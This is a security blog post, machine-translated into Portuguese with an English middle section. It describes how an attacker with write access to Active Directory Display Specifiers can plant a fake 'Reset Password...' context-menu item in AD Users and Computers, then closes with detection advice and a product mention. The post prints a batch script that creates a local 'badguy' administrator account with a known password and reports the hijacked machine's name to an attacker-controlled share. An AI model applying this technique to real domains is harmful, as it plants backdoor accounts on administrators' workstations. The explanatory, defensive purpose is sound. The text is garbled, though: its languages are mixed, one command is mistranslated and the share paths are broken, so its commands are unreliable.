Recentemente, lembrei-me de uma funcionalidade do AD que não utilizo há quase 20 anos e que pode ser utilizada de forma abusiva pelos atacantes. Esta funcionalidade baseia-se numa área da partição de Configuração numa determinada floresta do Active Directory denominada Especificadores de visualização. Estou certo de que estes têm muitas funções no AD, mas a que me interessa é a sua capacidade de permitir adicionar extensões de menu de contexto personalizadas a ferramentas do AD baseadas em MMC.
Quando utilizei esta capacidade pela primeira vez (mais uma vez, uma que já existe há um ano), tinha escrito um utilitário para permitir algumas tarefas de gestão de utilizadores para utilizadores do AD. Utilizei os Especificadores de Visualização para adicionar um novo item de menu ao snap-in MMC do AD Users and Computers (ADUC), para os nossos administradores de TI internos. Sempre que clicavam com o botão direito do rato num objecto de utilizador no ADUC, aparecia a minha opção de menu. Quando seleccionavam a opção, era executado um script em segundo plano para esse objecto de utilizador. Os Display Specifiers também têm a capacidade de adicionar folhas de propriedades à página Properties de uma determinada classe de objecto, desde que esteja disposto a escrever algum código COM :-).
Os especificadores de visualização têm o seguinte aspecto:
Exibir especificadores na partição de configuração
Reparou que os contentores à esquerda estão organizados por valores numéricos. Estes correspondem aos códigos de idioma hexadecimais para cada localidade. Eu destaquei409porque esse é o valor hexadecimal para EN-US ou English-US, que é a minha cultura predefinida. Pode ver uma lista completa destes códigosaqui.
Dentro de cada contentor de código de idioma, verá um conjunto de objectos da classe displaySpecifier, à direita. Cada um destes representa a classe de objecto para a qual pode modificar o comportamento do menu de contexto, entre outras coisas. Por exemplo, se pretendermos adicionar um menu de contexto a objectos de utilizador no ADUC, seleccionaremos o objecto CN=user-Display e modificaremos os atributos apropriados neste objecto.
Especificadores de ecrãs que se comportam mal
Há algumas coisas a saber sobre como os atacantes podem abusar dos especificadores de ecrã. Em primeiro lugar, para abusar dos especificadores de visualização, de uma perspectiva de segurança, é necessário ser um utilizador privilegiado. Por defeito (ênfase no "por defeito"), apenas os membros do grupoAdmins do domínioeAdministradores da empresapodem escrever nestes objectos. Portanto, abusar desses objetos pressupõe que você já tenha conquistado o domínio do domínio, o que reduz bastante o poder disso. No entanto, este mecanismo fornece uma forma furtiva de fazer coisas más num ambiente. Por exemplo, se um membro Admin do domínio for comprometido, tudo o que ele fizer será muito visível para o monitoramento padrão, mas se o invasor conseguir assumir uma conta administrativa não tão óbvia, ele poderá se mover pelo ambiente de forma mais furtiva. É aqui que o uso de Especificadores de exibição pode ser útil. No meu exemplo, o que estou a fazer é adicionar um novo menu de contexto aos objectos do utilizador. Chamo ao meu item de menu de contexto "Repor a palavra-passe...", tal como a opção de menu existente com o mesmo nome, incorporada no ADUC para objectos de utilizador, como mostrado aqui:
Adicionar um novo item de menu de contexto
As you can see from this screen shot, I now have two Reset Password options. Which one is right? The typical ADUC user is usually an administrator with some kind of privileged access to AD, and, probably unsuspecting when it comes to seeing an artifact like this. They might choose the right one (the top one) or the wrong one (the bottom one) depending upon what they see first. If they choose the second one, then my modified display specifier takes over. So let’s look at that. If you open ADSIEdit and connect to the Configuration Naming Context, you’ll see the screen above. Once I’ve selected the appropriate language-code folder (in my case CN=409 for EN-us) in the right-hand pane, I’m going to navigate to the CN=user-Display object and view it’s properties. From the Attribute Editor, find the adminContextMenu attribute. It’s a multi-valued attribute that likely already contains some entries in the form of <index>, <GUID of control or property sheet>. I’m going to add my custom “Reset Password” entry to this list in the form of:
2,Reset Password...,\gpaapackagesresetpw.bat
Onde a primeira entrada é o índice em que quero que apareça, a segunda é o nome do item de menu e a terceira é o que quero executar quando o utilizador escolhe esse item de menu. Neste exemplo acima, estou a chamar um ficheiro batch a partir de uma partilha. Pode ver o aspecto deste atributo em directo aqui:
Visualizar um especificador de ecrã modificado
Refiro-me a uma partilha UNC porque este item de menu será chamado por qualquer utilizador do ADUC a partir de qualquer estação de trabalho, pelo que precisava que esse utilizador pudesse chamar o meu ficheiro batch a partir de qualquer lugar. Também é possível utilizar comandos incorporados para executar localmente, mas ainda não brinquei com a passagem de parâmetros para comandos nos Especificadores de visualização, pelo que não tenho a certeza de que funcione. Em todo o caso, o meu ficheiro batch é bastante simples. Estou a contar com o facto de que alguém que utilize o ADUC pode, de facto, ser um administrador na sua estação de trabalho e, por isso, pode fazer praticamente tudo quando executa o meu script. Portanto, o script "resetpw.bat" tem o seguinte aspecto:
net utilizador mau utilizador password /add
net localgroup administrators badguy /add
echo gotcha > \gpaapackages%computername%.txt
Basicamente, crio uma nova conta local na máquina com uma palavra-passe conhecida, adiciono essa conta ao grupo de administradores locais e, em seguida, crio um pequeno ficheiro na minha partilha que me diz qual o nome da máquina que acabou de executar o meu script. Voilà!
Defesa contra o abuso do especificador de exibição
Obviamente, nada disso funciona se o invasor não tiver permissões de gravação nos Especificadores de exibição. Portanto, a menos que já tenham comprometido o seu domínio ou que tenha modificado a delegação predefinida nesta parte do NC de Configuração, provavelmente não tem de se preocupar com isto. Mas, se tiver algum tipo de solução de auditoria do AD implementada, deve estar atento às alterações a estes objectos. Provavelmente, não há muitas razões legítimas para que eles sejam alterados normalmente. A boa notícia é que a Semperis acaba de criar um novo indicador para procurar alterações nesses objetos especificadores de exibição e, se você for um usuário do DSP Intelligencereceberá esse novo indicador automaticamente e começará a procurar esses tipos de abusos de especificadores de exibição imediatamente.